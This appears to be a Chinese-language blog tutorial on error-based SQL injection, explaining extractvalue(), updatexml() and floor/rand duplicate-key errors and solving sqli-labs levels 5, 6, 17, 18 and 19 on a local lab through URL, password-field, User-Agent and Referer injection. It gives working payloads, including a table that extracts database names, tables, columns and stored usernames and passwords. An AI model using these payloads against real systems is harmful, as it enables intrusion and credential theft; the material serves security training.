SQL注入-中级进阶

报错注入

基本信息:报错注入是sql注入的另一分类,当常规的联合查询union因为字段数不对或页面不显示查询结果而无法使用时,报错注入往往能发挥奇效。

函数 触发报错的方式 示例 Payload
updatexml() XPath 格式错误 and updatexml(1, concat('~', database()), 1)
extractvalue() XPath 格式错误 and extractvalue(1, concat('~', database()))
floor() + rand() + group by 主键重复(duplicate entry) and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) x from information_schema.tables group by x) a)

一、报错函数详解
1、extractvalue()

(1)基本用法
ExtractValue() 是 MySQL 中另一个处理 XML 的函数。它用于从 XML 片段中提取文本内容,其基本语法如下:
extractvalue(XML_document, XPath_string)

  • XML_document:一个合法的 XML 字符串或字段
  • XPath_string:XPath 表达式,用于从 XML 中提取值

(2)核心原理

当extractvalue()的第二个参数XPath_string不合法时,MySQL就会报错,同时输出报错信息。如果攻击者有意构造payload,把想要查询的数据拼接到这个错误的 XPath 参数中,数据会随着报错信息一起输出。

2、updatexml()

(1)基本用法
updatexml()是 MySQL 中用于修改 XML 文档内容的函数,其基本语法如下:
updatexml(xml_target, xpath_expr, new_xml)

  • xml_target:要被修改的原始 XML 字符串(或其片段)。
  • xpath_expr:XPath 表达式,用于定位 xml_target 中要替换的节点。
  • new_xml:新的 XML 片段,用来替换匹配到的节点及其内容。

(2)核心原理
当updatexml()的第二个参数xpath_expr无效时,函数将直接报错并将表达式内容输出到报错信息中,和extractvalue非常相似。

3、count+floor()+rand()+group by主键重复
这种组合形成的报错核心原理是主键重复,本质是利用MySQL,接下来我会逐个详细介绍它们。
(1)三个函数介绍
<1>floor():其作用为向下取整

select floor(5.99);

img

select floor(6.01);

img
(2)count():计算总次数

select count(*) from users; #查询users表中有多少条数据

img
我们可以使用Navicat验证一下:
img
的确有三条数据
<3>group by:将数据按照一个或多个列的值进行分组,下面我将举例说明
这是一个uers表,我们可以注意到id=1id=4的password是一样的,我们试验一下
img

select password from users group by password;

img
我们可以从查询结果中看到,group by对数据按照password进行分组,分为了三组,而id=1id=4分到了同一组。
(4)rand():返回0-1的一个随机浮点数,可以在括号中填入参数,同一个参数产生的结果是相同的的,如果不填参数有则是随机的。
img
如果在rand()的括号内添加参数,那么每次返回值就会固定。
img

直接回显型 (Error-Returned)

一、定义
前端直接显示完整的 SQL 错误堆栈信息。攻击者提交一次请求,就能在页面看到爆出的数据。
二、sqli-labs
1、Less-5
打开关卡,照例尝试
http://127.0.0.1/sqli-labs/Less-5/?id=1'
img
确认是单引号注入,尝试注释报错
img
发现没有出现正常回显,这里我们可以学习一下它的源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}

当我们传参?id=1'--+时,+会被解析成空格,这么做是由于在 URL 中+通常被解析为空格。因为-- 注释在 SQL 中通常要求后面至少有一个空格(或换行)才能正确生效,所以--+被解析为-- ,保证了注释语法正确。SELECT * FROM users WHERE id='1'' LIMIT 0,1,这样后续的报错就会被注释掉,然后由mysql_query传递给result,再由mysql_fetch_arry传递给row,下面的if判断中如何row不为空即输出You are in...........
看来联合注入行不通,可以尝试报错注入,payload如下:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue('1',concat('~',(select database()))) --+
img
成功爆破数据库名,其余步骤和联合注入大同小异,这里继续爆破表名
?id=1' and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
img
紧接着爆破列名
?id=1' and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

这里要解释一下为什么要加一个and table_name='users',这是为了避免其他数据库同名表的影响

img
最后爆破字段
?id=1' and extractvalue('1',concat('~',(select group_concat(username) from users))) --+
img
2、Less-6
来到第六关,如法炮制,发现?id=1'不能成功,回显是
img
我们可以试一下双引号"闭合
http://127.0.0.1/sqli-labs/Less-6/?id=1"
img
发现产生报错,其余步骤与第五关别无二致。这里我们可以审一下它的源码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这是源码中关于SQL语句的部分,我们可以看到对于参数id,采取了双引号闭合的方式,并且在SQL语句中也使用了双引号,当我们输入id=1"时,SQL语句就会变成$sql="SELECT * FROM users WHERE id=1" LIMIT 0,1";造成双引号闭合报错,然后使用注释符--+注释报错,那就变成了$sql="SELECT * FROM users WHERE id=1" --+ LIMIT 0,1";,后面的LIMIT 0,1就会被注释掉,无法产生报错,我们输入的数据就会在id=1"之间 --+执行,例如:?id=1' and extractvalue('1',concat('~',(select database()))) --+,中间的and extractvalue('1',concat('~',(select database())))就会被服务端执行,从而爆出数据库名,也就是SQL注入的核心原理。

绕过型报错注入 (Filter Evasion Error-Based)

一、定义
核心报错函数被黑名单拦截或被转化,攻击者需使用冷门、变体或不依赖函数名的技巧。
二、sqli-labs
1、Less-17
(1)注入点分析
打开题目,发现传参方式是POST,尝试万能密码
img
发现被过滤了
img
(2)源码审计
这里我们审一下源码

<?php
// 1. 防御函数定义
function check_input($value) {
    if(!empty($value)) {
        $value = substr($value,0,15); // 截断长度限制为15
    }
    if(get_magic_quotes_gpc()) {
        $value = stripslashes($value); // 去除魔术引号转义
    }
    if(!ctype_digit($value)) {
        // 非数字则使用 mysql_real_escape_string 转义,并主动加上单引号包裹
        $value = "'" . mysql_real_escape_string($value) . "'";
    } else {
        $value = intval($value); // 数字则强制转为整型
    }
    return $value;
}

// 2. 参数获取与验证
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd']; // 漏洞点:直接获取,无任何过滤!

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";//@过滤了报错但@无法屏蔽 MySQL 数据库返回的错误。下一行的 mysql_query($sql) 如果执行失败,错误信息会留在 MySQL 连接句柄中。
$result = mysql_query($sql);
$row = mysql_fetch_row($result);

if($row) {
    // 3. 密码更新与报错回显
    $sql = "UPDATE users SET password = '$passwd' WHERE username='$uname'";
    $result = mysql_query($sql) or die("Error: ".mysql_error()); // 漏洞点:打印错误信息
    
    if($result) {
        echo "<font color='#FFFF00'>Password Changed successfully!</font>";
    }
} else {
    echo "<font color='#FF0000'>Invalid username!</font>";
}
?>

将传参代码单独拿出来审计

// 对 uname 参数进行严格过滤
$uname = check_input($_POST['uname']);

// passwd 参数直接获取
$passwd = $_POST['passwd'];

// SQL 语句使用 UPDATE 更新密码
$sql = "UPDATE users SET password = '$passwd' WHERE username = '$uname'";

// 执行 SQL 语句并打印错误信息
$result = mysql_query($sql);
if (mysql_error()) {
    echo "<font color='#FFFF00'>"; // 显示错误信息,这是最严重的错误点,打印报错信息会导致攻击者有机可乘
    print_r(mysql_error());
    echo "</font>";
}

我们可以看到对于参数uname开发者进行了check_input处理,我们再看一下是如何处理的。

function check_input($value) {
    if (!empty($value)) {
        // 1. 截断到15位
        $value = substr($value, 0, 15);
    }
    // 2. 如果 magic_quotes 开启,去除多余反斜杠
    if (get_magic_quotes_gpc()) {
        $value = stripslashes($value);
    }
    // 3. 如果不是数字,使用 mysql_real_escape_string 转义
    if (!ctype_digit($value)) {
        $value = "'" . mysql_real_escape_string($value) . "'";
    } else {
        $value = intval($value);
    }
    return $value;
}

从函数check_input中可以看出开发者对uname进行了严格的过滤,先是对输入进行截取15位,然后又对历史遗留函数magic_quotes进行处理,最后也是最重要的就是对输入字符串进行判断处理

  • 分支 A:如果是字符串(非纯数字)
    • !ctype_digit($value): ctype_digit() 会检查字符串中是否全部都是数字字符 (0-9)。前面加了 !,即“如果不是纯数字”。
    • mysql_real_escape_string($value): 这是 MySQL 专属的转义函数。它比简单的 addslashes() 更安全,因为它会考虑当前数据库的字符集连接。它会转义以下字符:
    • "'" . ... . "'": 转义完成后,函数主动在数据的左右两边拼接上单引号。
      安全意义:这是极其关键的防御动作。假设用户输入 admin' #,经过转义变成 admin' #,再拼接引号变成 'admin' #'。当这个值放入 SQL 语句中时(例如 WHERE username = 'admin' #'),整个输入被严格限制在字符串字面量内,单引号无法逃逸闭合,注入彻底失败。
  • 分支 B:如果是纯数字
    • intval($value): 如果输入全是数字,则使用 intval() 强制将其转换为整型(整数)。
    • 安全意义:数字型注入(如 1 union select...)是因为开发者没有给数字加引号导致的。这里直接用 intval() 提取整数值,任何非数字字符都会被抛弃或截断。例如输入 1 union select 1,intval 处理后只剩下 1。这从根本上杜绝了数字型注入。而且数字在 SQL 语句中不需要加引号包裹。

在这样严密的防护条件下,无法从uname下手攻击了,考虑另一个参数passwd。虽然开发者对uname进行了极其严格的过滤,但是对于passwd没有任何防护,直接使用UPDATE进行密码修改,而且还使用了mysql_error(),可以使用报错注入的方式进行破解。
(3)解题
首先需要判断是什么类型的注入,输入正确用户名:admin,尝试在密码栏输入:1',如果报错说明是单引号闭合,如果不报错说明不是单引号报错。
img
说明确实是单引号闭合,后续步骤和之前大同小异,这里不再赘述了。
2、Less-18
这一关和上一关有明显不同,它对两个参数都进行了严格的过滤。为了方便学习,可以在
(1)源码审计

$uagent = $_SERVER['HTTP_USER_AGENT'];   // 直接取 UA,无任何过滤
$IP = $_SERVER['REMOTE_ADDR'];

$uname = check_input($_POST['uname']);   // 账号被过滤
$passwd = check_input($_POST['passwd']); // 密码被过滤

$sql="SELECT users.username, users.password FROM users 
      WHERE users.username=$uname and users.password=$passwd ...";
$row1 = mysql_fetch_array($result1);
if($row1) {   // 仅在登录成功后才执行 INSERT
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) 
             VALUES ('$uagent', '$IP', $uname)";
    mysql_query($insert);
    print_r(mysql_error());   // 关键:会回显 MySQL 报错
}

这里我们可以看到开发者虽然对账号密码都进行了过滤,但是对于user-agent采取直接提取,没有任何过滤,我们考虑使用user-agent注入。

这里需要说明一下什么是user-agent,官方定义是:User-Agent(用户代理,简称 UA)是 HTTP 请求头中的一个字段,由浏览器或客户端在每次发起请求时主动携带,用于向服务器声明自己的软件类型、操作系统、浏览器版本、渲染引擎等身份信息。服务器据此识别访问终端,从而返回适配的内容或做统计分析。简单来说,就是一种数字身份证,告诉服务器自己的信息,方便服务器进行处理。更通俗一点:把 User-Agent 想成浏览器随身携带的"自我介绍名片":我是谁(浏览器)、我住哪(操作系统)、我能干什么(渲染引擎),服务器据此决定怎么接待你。
这里举一个例子:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36: Mozilla/5.0 —— 历史兼容标记(“我是现代浏览器”)、(Windows NT 10.0; Win64; x64) —— 系统信息(“我用的是 Windows 64位电脑”、AppleWebKit/537.36 (KHTML, like Gecko) —— 渲染引擎与历史兼容(“我的内核血统”)、Chrome/124.0.0.0 —— 真实的浏览器身份(“我是 Chrome 124版”)、Safari/537.36 —— 最后的兼容标记(“顺便,我也兼容 Safari”)。

VALUES ('$uagent', '$IP', $uname)

从这行代码中我们可以看到$uagent是被单引号闭合的,客户端输入的UA数据闭合后会被直接运行。
(2)解题

这里需要做一个小提醒,在Less-17中我们修改了密码,所以建议大家在解Less-18时需要回到http://127.0.0.1/sqli-labs/并点击Setup/reset Database for labs,重置数据库。

首先使用BurpSuite抓包img
user-agent进行修改,我们已知是单引号闭合,在登录框输入正确账号密码(前面关卡可获得,常见 admin / admin),如果按照之前的报错注入的payload:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+会发生什么呢?
img
我们可以看到单引号闭合出现错误,无法完成闭合。
img
这是因为这行代码VALUES ('$uagent', '$IP', $uname)",我们修改的UA会放到'$uagent',会变成

INSERT INTO uagents (uagent, ip_address, username) VALUES ('1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+', '$IP', $uname)

这样做会有两个致命错误:

  • 括号没有闭合:VALUES( 有一个左括号,但后面缺少了对应的右括号 )。
  • 参数数量不足:INSERT 指定了 3 个列 (uagent, ip_address, username),但 VALUES 里面因为被注释,只剩下一个半拉表达式,根本无法凑齐 3 个参数对应的值。
    所以为了单引号闭合且不会注释掉后续参数我们这样修改payload:
    a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#这样sql语句就会变成:
INSERT INTO uagents (uagent, ip_address, username) VALUES ('a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#', '$IP', $uname)

不仅解决了参数不够的问题,还形成了单引号闭合,恶意代码成功执行。
后续步骤没有太大区别,不再过多赘述了。

目标 User-Agent 头 Payload
爆版本 a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#
爆库 a' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) and '1'='#
爆表 a' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) and '1'='#
爆列 a' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) and '1'='#
爆数据 a' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1) and '1'='#

3、Less-19
(1)前置知识
这一步要用到Referer,它的作用是告诉服务器,当前这个请求是从哪个页面链接过来的。比如你从百度点进一个链接,Referer 可能就是https://www.baidu.com/...。这里可以拿它和上一关中的user-agent进行对比。

对比维度 Referer User-Agent
核心问题 我从哪里来? (Where from?) 我是谁? (Who am I?)
携带内容 上一个页面的 URL 地址 客户端软件、系统、浏览器指纹信息
数据类型 统一资源定位符 (URL) 描述性的自由格式字符串
主要用户 网站管理人员(分析流量)、后端安全程序 前端开发者(做兼容)、后端安全程序
隐私敏感度 高,可能会泄露用户浏览历史路径 相对低,但能组合形成浏览器指纹,追踪用户
是否可空 可以。直接输入网址、收藏夹打开、HTTPS 跳转到 HTTP 时,Referer 为空 几乎一定有,但同样可被篡改或置空
控制策略 受 Referrer-Policy 安全策略控制(如只发域名,不发完整路径) 无严格策略,客户端可任意修改

(2)源码审计

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

对参数unamepasswd依旧是防护转义

$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd ...";$row1 = mysql_fetch_array($result1);
if($row1) {   // 关键:只有在登录成功后才会执行 INSERT
    // 源码变量名可能叫 $uagent,但实际取的是 HTTP_REFERER
    $uagent =$_SERVER['HTTP_REFERER']; 
    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
    mysql_query($insert);
    print_r(mysql_error()); // 关键:会回显 MySQL 报错
}

对于referer没有任何过滤直接提取,且存在mysql_error()函数输出报错,采用报错注入,其闭合方式和第18关基本一致。
(3)解题步骤
使用BurpSuite进行抓包并对referer字段进行修改:
img
其余步骤和上一关没有太大差别。

posted @ 2026-07-15 17:41  abner957  阅读(11)  评论(0)    收藏  举报